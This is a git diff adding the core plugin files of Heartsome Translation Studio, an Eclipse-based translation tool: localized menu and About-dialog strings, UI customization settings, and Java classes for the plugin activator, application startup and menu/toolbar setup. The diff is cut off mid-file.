+\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n +aboutF={3}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ +\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n +aboutP={4}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ +\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n +aboutL={5}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ +\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n diff --git a/ts/net.heartsome.cat.ts/plugin.xml b/ts/net.heartsome.cat.ts/plugin.xml new file mode 100644 index 0000000..c6e9dd1 --- /dev/null +++ b/ts/net.heartsome.cat.ts/plugin.xml @@ -0,0 +1,594 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts/plugin_customization.ini b/ts/net.heartsome.cat.ts/plugin_customization.ini new file mode 100644 index 0000000..55f8040 --- /dev/null +++ b/ts/net.heartsome.cat.ts/plugin_customization.ini @@ -0,0 +1,9 @@ +org.eclipse.ui/DOCK_PERSPECTIVE_BAR=topRight +org.eclipse.ui/SHOW_TRADITIONAL_STYLE_TABS=false +org.eclipse.ui/USE_COLORED_LABELS=false +org.eclipse.ui/VIEW_MINIMUM_CHARACTERS=2 +org.eclipse.ui/VIEW_TAB_POSITION=SWT.BOTTOM +org.eclipse.ui/KEY_CONFIGURATION_ID=net.heartsome.cat.common.ui.shield.defaultAcceleratorConfiguration +org.eclipse.help/HELP_DATA=helpData.xml +org.eclipse.ui/SHOW_PROGRESS_ON_STARTUP = true +org.eclipse.ui/presentationFactoryId=net.heartsome.cat.ts.UnOpenAgainEditorPresentationFactory \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts/plugin_en.properties b/ts/net.heartsome.cat.ts/plugin_en.properties new file mode 100644 index 0000000..49bf0b6 --- /dev/null +++ b/ts/net.heartsome.cat.ts/plugin_en.properties @@ -0,0 +1,63 @@ +category.tool = Tools +menu.edit.undo = Undo +menu.edit.redo = Redo +menu.file.closeall = Close All +menu.file.close = Close +menu.file.refresh = Refresh +menu.edit.rename = Rename +menu.edit.selectAll = Select All +toolBar.undo = Undo +toolBar.redo = Redo + +menu.view = &View +menu.view.toolBar = Toolbar +menu.view.statusBar = Status Bar + +category.view = View +command.toolBar = Toolbar +command.statusBar = Status Bar + +wizard.newFolder = New Folder + +menu.preference = Options... +command.preference = Options + +products.name = Heartsome Translation Studio +products.appName = Heartsome Translation Studio + +perspectives.default = Xliff Editor + +########################## 2012-08-29 \u6dfb\u52a0 ########################################## +menu.help.about = About Translation Studio... +command.help.about = About Translation Studio + +########################## 2012-11-06 \u6dfb\u52a0 ########################################## +command.help.helpContents = Help +########################## 2012-11-07 \u6dfb\u52a0 ########################################## +menu.help.keyAssist = Shortcuts... +command.help.keyAssist = Shortcuts +########################## 2012-11-12 \u6dfb\u52a0 ########################################## +aboutU={2}\n\ +Version: {0} Build {1}\n\n\ +Product Home: http://www.heartsome.net\n\ +Technical Support: http://www.heartsome.net/EN/support.html\n\n\ +Copyright (C) 2012 Heartsome Technologies Ltd. All rights reserved.\n\n\ +Warning: This computer program is protected by copyright law and \ninternational treaties.\nUnauthorized modification or distribution of the program or its any \npart may result in severe civil and criminal penalties, prosecution \nto the maximum extent permitted by law. +aboutF={3}\n\ +Version: {0} Build {1}\n\n\ +Product Home: http://www.heartsome.net\n\ +Technical Support: http://www.heartsome.net/EN/support.html\n\n\ +Copyright (C) 2012 Heartsome Technologies Ltd. All rights reserved.\n\n\ +Warning: This computer program is protected by copyright law and \ninternational treaties.\nUnauthorized modification or distribution of the program or its any \npart may result in severe civil and criminal penalties, prosecution \nto the maximum extent permitted by law. +aboutP={4}\n\ +Version: {0} Build {1}\n\n\ +Product Home: http://www.heartsome.net\n\ +Technical Support: http://www.heartsome.net/EN/support.html\n\n\ +Copyright (C) 2012 Heartsome Technologies Ltd. All rights reserved.\n\n\ +Warning: This computer program is protected by copyright law and \ninternational treaties.\nUnauthorized modification or distribution of the program or its any \npart may result in severe civil and criminal penalties, prosecution \nto the maximum extent permitted by law. +aboutL={5}\n\ +Version: {0} Build {1}\n\n\ +Product Home: http://www.heartsome.net\n\ +Technical Support: http://www.heartsome.net/EN/support.html\n\n\ +Copyright (C) 2012 Heartsome Technologies Ltd. All rights reserved.\n\n\ +Warning: This computer program is protected by copyright law and \ninternational treaties.\nUnauthorized modification or distribution of the program or its any \npart may result in severe civil and criminal penalties, prosecution \nto the maximum extent permitted by law. diff --git a/ts/net.heartsome.cat.ts/plugin_zh.properties b/ts/net.heartsome.cat.ts/plugin_zh.properties new file mode 100644 index 0000000..a8135f7 --- /dev/null +++ b/ts/net.heartsome.cat.ts/plugin_zh.properties @@ -0,0 +1,63 @@ +category.tool = \u5de5\u5177 +menu.edit.undo = \u64a4\u9500 +menu.file.closeall = \u5173\u95ed\u6240\u6709 +menu.file.close = \u5173\u95ed +menu.file.refresh = \u5237\u65b0 +menu.edit.rename = \u91cd\u547d\u540d +menu.edit.selectAll = \u9009\u62e9\u6240\u6709 +menu.edit.redo = \u91cd\u505a +toolBar.undo = \u64a4\u9500 +toolBar.redo = \u91cd\u505a + +menu.view = \u89c6\u56fe(&V) +menu.view.toolBar = \u5de5\u5177\u680f +menu.view.statusBar = \u72b6\u6001\u680f + +category.view = \u89c6\u56fe +command.toolBar = \u5de5\u5177\u680f +command.statusBar = \u72b6\u6001\u680f + +wizard.newFolder = \u65b0\u5efa\u6587\u4ef6\u5939 + +menu.preference = \u9009\u9879... +command.preference = \u9009\u9879 + +products.name = Heartsome \u7ffb\u8bd1\u5de5\u4f5c\u5ba4 +products.appName = Heartsome \u7ffb\u8bd1\u5de5\u4f5c\u5ba4 + +perspectives.default = Xliff Editor + +########################## 2012-08-29 \u6dfb\u52a0 ########################################## +menu.help.about = \u5173\u4e8e Translation Studio... +command.help.about = \u5173\u4e8e Translation Studio + +########################## 2012-11-06 \u6dfb\u52a0 ########################################## +command.help.helpContents = \u67e5\u770b\u5e2e\u52a9 +########################## 2012-11-07 \u6dfb\u52a0 ########################################## +menu.help.keyAssist = \u5feb\u6377\u952e +command.help.keyAssist = \u5feb\u6377\u952e +########################## 2012-11-12 \u6dfb\u52a0 ########################################## +aboutU={2}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ +\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n +aboutF={3}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ +\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n +aboutP={4}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ +\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n +aboutL={5}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ +\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n diff --git a/ts/net.heartsome.cat.ts/splash.bmp b/ts/net.heartsome.cat.ts/splash.bmp new file mode 100644 index 0000000..99c9121 Binary files /dev/null and b/ts/net.heartsome.cat.ts/splash.bmp differ diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/Activator.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/Activator.java new file mode 100644 index 0000000..e2ee820 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/Activator.java @@ -0,0 +1,55 @@ +package net.heartsome.cat.ts; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + /** + * The plug-in ID + */ + public static final String PLUGIN_ID = "net.heartsome.cat.ts"; + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + @Override + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + @Override + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given plug-in relative path + * @param path + * the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/Application.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/Application.java new file mode 100644 index 0000000..8f00e46 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/Application.java @@ -0,0 +1,108 @@ +package net.heartsome.cat.ts; + +import java.io.File; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.help.SystemResourceUtil; +import net.heartsome.cat.ts.resource.Messages; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IPath; +import org.eclipse.equinox.app.IApplication; +import org.eclipse.equinox.app.IApplicationContext; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; + +/** + * This class controls all aspects of the application's execution + */ +public class Application implements IApplication { + + public Object start(IApplicationContext context) { + Display display = PlatformUI.createDisplay(); + try { + PreferenceUtil.initProductEdition(); + if (!PreferenceUtil.checkEdition()) { + MessageDialog.openInformation(display.getActiveShell(), Messages.getString("dialog.AboutDialog.msgTitle"), + Messages.getString("dialog.AboutDialog.msg")); + return IApplication.EXIT_OK; + } + initSystemLan(); + SystemResourceUtil.beforeload(); + PreferenceUtil.checkCleanValue(); + deleteErrorMemoryFile(); + int returnCode = PlatformUI.createAndRunWorkbench(display, + new ApplicationWorkbenchAdvisor()); + if (returnCode == PlatformUI.RETURN_RESTART) { + return IApplication.EXIT_RESTART; + } + return IApplication.EXIT_OK; + } finally { + display.dispose(); + } + } + + private void initSystemLan(){ + int lanId = Activator.getDefault().getPreferenceStore().getInt(IPreferenceConstants.SYSTEM_LANGUAGE); + CommonFunction.setSystemLanguage(lanId == 0 ? "en" : "zh"); + } + + public void stop() { + final IWorkbench workbench = PlatformUI.getWorkbench(); + if (workbench == null) { + return; + } + final Display display = workbench.getDisplay(); + display.syncExec(new Runnable() { + public void run() { + if (!display.isDisposed()) { + workbench.close(); + } + } + }); + } + + /** + * 删除错误记录文件,以修改产å“第一次è¿è¡ŒåŽï¼Œå­˜å‚¨é”™è¯¯ä¿¡æ¯å¯¼è‡´ç¬¬äºŒæ¬¡æ‰“ä¸å¼€çš„情况 robert 2013-05-06 + */ + private static void deleteErrorMemoryFile(){ + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + IPath projectsIPath = root.getLocation().append(".metadata/.plugins/org.eclipse.core.resources/.projects"); + String errorFileLC = ""; + File file = null; + for(IProject project : root.getProjects()){ + errorFileLC = projectsIPath.append(project.getName()).append(".markers").toOSString(); + file = new File(errorFileLC); + if (file.exists()) { + file.delete(); + } + + errorFileLC = projectsIPath.append(project.getName()).append(".markers.snap").toOSString(); + file = new File(errorFileLC); + if (file.exists()) { + file.delete(); + } + } + + IPath rootFolderIpath = root.getLocation().append(".metadata/.plugins/org.eclipse.core.resources/.root"); + errorFileLC = rootFolderIpath.append(".markers").toOSString(); + file = new File(errorFileLC); + if (file.exists()) { + file.delete(); + } + + errorFileLC = rootFolderIpath.append(".markers.snap").toOSString(); + file = new File(errorFileLC); + if (file.exists()) { + file.delete(); + } + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/ApplicationActionBarAdvisor.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/ApplicationActionBarAdvisor.java new file mode 100644 index 0000000..572eb56 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/ApplicationActionBarAdvisor.java @@ -0,0 +1,348 @@ +package net.heartsome.cat.ts; + +import java.util.Arrays; +import java.util.List; + +import net.heartsome.cat.ts.resource.Messages; + +import org.eclipse.core.runtime.IExtension; +import org.eclipse.jface.action.ActionContributionItem; +import org.eclipse.jface.action.GroupMarker; +import org.eclipse.jface.action.IContributionItem; +import org.eclipse.jface.action.ICoolBarManager; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.action.IToolBarManager; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.action.Separator; +import org.eclipse.jface.action.ToolBarContributionItem; +import org.eclipse.jface.action.ToolBarManager; +import org.eclipse.ui.IWorkbenchActionConstants; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.actions.ActionFactory.IWorkbenchAction; +import org.eclipse.ui.actions.ContributionItemFactory; +import org.eclipse.ui.application.ActionBarAdvisor; +import org.eclipse.ui.application.IActionBarConfigurer; +import org.eclipse.ui.internal.IPreferenceConstants; +import org.eclipse.ui.internal.ReopenEditorMenu; +import org.eclipse.ui.internal.WorkbenchPlugin; +import org.eclipse.ui.internal.registry.ActionSetRegistry; +import org.eclipse.ui.internal.registry.IActionSetDescriptor; +import org.eclipse.ui.menus.IMenuService; + +/** + * An action bar advisor is responsible for creating, adding, and disposing of the actions added to a workbench window. + * Each window will be populated with new actions. + */ +@SuppressWarnings("restriction") +public class ApplicationActionBarAdvisor extends ActionBarAdvisor { + private final IWorkbenchWindow window; + + // Actions - important to allocate these only in makeActions, and then use + // them + // in the fill methods. This ensures that the actions aren't recreated + // when fillActionBars is called with FILL_PROXY. + + // tool bar context menu + private IWorkbenchAction lockToolBarAction; + + // file menu action + private IWorkbenchAction exitAction; + + // edit menu action + private IWorkbenchAction undoAction; + private IWorkbenchAction redoAction; + private IWorkbenchAction cutAction; + private IWorkbenchAction copyAction; + private IWorkbenchAction pasteAction; + private IWorkbenchAction deleteAction; + private IWorkbenchAction findAction; + + // help menu action + private IWorkbenchAction helpAction; + + /** + * Indicates if the action builder has been disposed + */ + private boolean isDisposed = false; + + /** + * The coolbar context menu manager. + */ + private MenuManager coolbarPopupMenuManager; + + /** + * @param configurer + */ + public ApplicationActionBarAdvisor(IActionBarConfigurer configurer) { + super(configurer); + window = configurer.getWindowConfigurer().getWindow(); + } + + @Override + protected void makeActions(final IWorkbenchWindow window) { + + exitAction = ActionFactory.QUIT.create(window); + register(exitAction); + exitAction.setImageDescriptor(net.heartsome.cat.ts.ui.Activator.getImageDescriptor("images/file/logout.png")); + exitAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.exitAction")); + + undoAction = ActionFactory.UNDO.create(window); + undoAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.undoAction")); + undoAction.setImageDescriptor(net.heartsome.cat.ts.ui.Activator.getImageDescriptor("images/edit/undo.png")); + register(undoAction); + + redoAction = ActionFactory.REDO.create(window); + redoAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.redoAction")); + redoAction.setImageDescriptor(net.heartsome.cat.ts.ui.Activator.getImageDescriptor("images/edit/redo.png")); + register(redoAction); + + cutAction = ActionFactory.CUT.create(window); + register(cutAction); + cutAction.setImageDescriptor(net.heartsome.cat.ts.ui.Activator.getImageDescriptor("images/edit/cut.png")); + cutAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.cutAction")); + + copyAction = ActionFactory.COPY.create(window); + copyAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.copyAction")); + copyAction.setImageDescriptor(net.heartsome.cat.ts.ui.Activator.getImageDescriptor("images/edit/copy.png")); + register(copyAction); + + pasteAction = ActionFactory.PASTE.create(window); + pasteAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.pasteAction")); + pasteAction.setImageDescriptor(net.heartsome.cat.ts.ui.Activator.getImageDescriptor("images/edit/paste.png")); + register(pasteAction); + + deleteAction = ActionFactory.DELETE.create(window); + deleteAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.deleteAction")); + deleteAction.setImageDescriptor(net.heartsome.cat.ts.ui.Activator.getImageDescriptor("images/edit/delete.png")); + register(deleteAction); + + findAction = ActionFactory.FIND.create(window); + findAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.findAction")); + findAction.setImageDescriptor(net.heartsome.cat.ts.ui.Activator + .getImageDescriptor("images/edit/search_replace.png")); + register(findAction); + + lockToolBarAction = ActionFactory.LOCK_TOOL_BAR.create(window); + register(lockToolBarAction); + + helpAction = ActionFactory.HELP_CONTENTS.create(window); + helpAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.helpAction")); + helpAction.setImageDescriptor(Activator.getImageDescriptor("images/help/help.png")); + register(helpAction); + + removeUnusedAction(); + + } + + @Override + protected void fillMenuBar(IMenuManager menuBar) { + menuBar.add(createFileMenu()); + menuBar.add(createEditMenu()); + menuBar.add(new GroupMarker("view")); + menuBar.add(new GroupMarker("translation")); + menuBar.add(new GroupMarker("project")); + menuBar.add(new GroupMarker("database")); + menuBar.add(new GroupMarker("qa")); + menuBar.add(createToolMenu()); + menuBar.add(new GroupMarker("advance")); + menuBar.add(createHelpMenu()); + } + + @Override + protected void fillCoolBar(ICoolBarManager coolBar) { + // Set up the context Menu + coolbarPopupMenuManager = new MenuManager(); + coolbarPopupMenuManager.add(new ActionContributionItem(lockToolBarAction)); + coolBar.setContextMenuManager(coolbarPopupMenuManager); + IMenuService menuService = (IMenuService) window.getService(IMenuService.class); + menuService.populateContributionManager(coolbarPopupMenuManager, "popup:windowCoolbarContextMenu"); + + coolBar.add(new GroupMarker("group.file")); + + coolBar.add(new GroupMarker("group.new.menu")); + + coolBar.add(new GroupMarker("group.undoredo")); + + coolBar.add(new GroupMarker("group.copySource")); + + coolBar.add(new GroupMarker("group.search")); + createToolItem(coolBar); + + coolBar.add(new GroupMarker("group.completeTranslation")); + + coolBar.add(new GroupMarker("group.approve")); + + coolBar.add(new GroupMarker("group.addTerm")); + + coolBar.add(new GroupMarker("group.preview")); + + coolBar.add(new GroupMarker("group.tagoperation")); + + coolBar.add(new GroupMarker("group.sourceoperation")); + + coolBar.add(new GroupMarker("group.deleteTrans")); + + coolBar.add(new GroupMarker("group.changeLayout")); + + coolBar.add(new GroupMarker(IWorkbenchActionConstants.MB_ADDITIONS)); + + coolBar.add(new GroupMarker(IWorkbenchActionConstants.GROUP_EDITOR)); + + coolBar.add(new GroupMarker(IWorkbenchActionConstants.GROUP_HELP)); + + } + + private IToolBarManager createToolItem(ICoolBarManager coolBar) { + IToolBarManager toolBar = new ToolBarManager(coolBar.getStyle()); + coolBar.add(new ToolBarContributionItem(toolBar, "findreplace")); + toolBar.add(findAction); + return toolBar; + } + + /** + * 创建工具èœå• + * @return 返回工具èœå•çš„ menu manager; + */ + private MenuManager createToolMenu() { + MenuManager menu = new MenuManager(Messages.getString("ts.ApplicationActionBarAdvisor.menu.tool"), + "net.heartsome.cat.ts.ui.menu.tool") { + @Override + public boolean isVisible() { + IWorkbenchWindow workbenchWindow = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (workbenchWindow == null) + return false; + IWorkbenchPage activePage = workbenchWindow.getActivePage(); + if (activePage == null) + return false; + if (activePage.getPerspective().getId().contains("net.heartsome.cat.ts.perspective")) + return true; + return false; + } + }; // &Tool + menu.add(new GroupMarker("pluginConfigure")); + menu.add(new GroupMarker("preference.groupMarker")); + // menu.add(preferenceAction); + return menu; + } + + /** + * 创建文件èœå• + * @return 返回文件èœå•çš„ menu manager; + */ + private MenuManager createFileMenu() { + MenuManager menu = new MenuManager(Messages.getString("ts.ApplicationActionBarAdvisor.menu.file"), + IWorkbenchActionConstants.M_FILE); // &File + menu.add(new GroupMarker(IWorkbenchActionConstants.FILE_START)); + // 添加 new.ext group,这样 IDE 中定义的 Open File... å¯ä»¥æ˜¾ç¤ºåœ¨æœ€é¡¶ç«¯ + menu.add(new GroupMarker(IWorkbenchActionConstants.NEW_EXT)); + menu.add(new Separator()); + menu.add(new GroupMarker(IWorkbenchActionConstants.CLOSE_EXT)); + menu.add(new GroupMarker("xliff.switch")); + menu.add(new GroupMarker("rtf.switch")); + menu.add(new GroupMarker("xliff.split")); + menu.add(new Separator()); + // 设置ä¿å­˜æ–‡ä»¶è®°å½•æ¡æ•°ä¸º 5 æ¡ + WorkbenchPlugin.getDefault().getPreferenceStore().setValue(IPreferenceConstants.RECENT_FILES, 5); + // 添加文件访问列表 + ContributionItemFactory REOPEN_EDITORS = new ContributionItemFactory("reopenEditors") { //$NON-NLS-1$ + /* (non-javadoc) method declared on ContributionItemFactory */ + public IContributionItem create(IWorkbenchWindow window) { + if (window == null) { + throw new IllegalArgumentException(); + } + return new ReopenEditorMenu(window, getId(), false); + } + }; + menu.add(REOPEN_EDITORS.create(window)); + + menu.add(exitAction); + menu.add(new GroupMarker(IWorkbenchActionConstants.FILE_END)); + return menu; + } + + /** + * 创建编辑èœå• + * @return 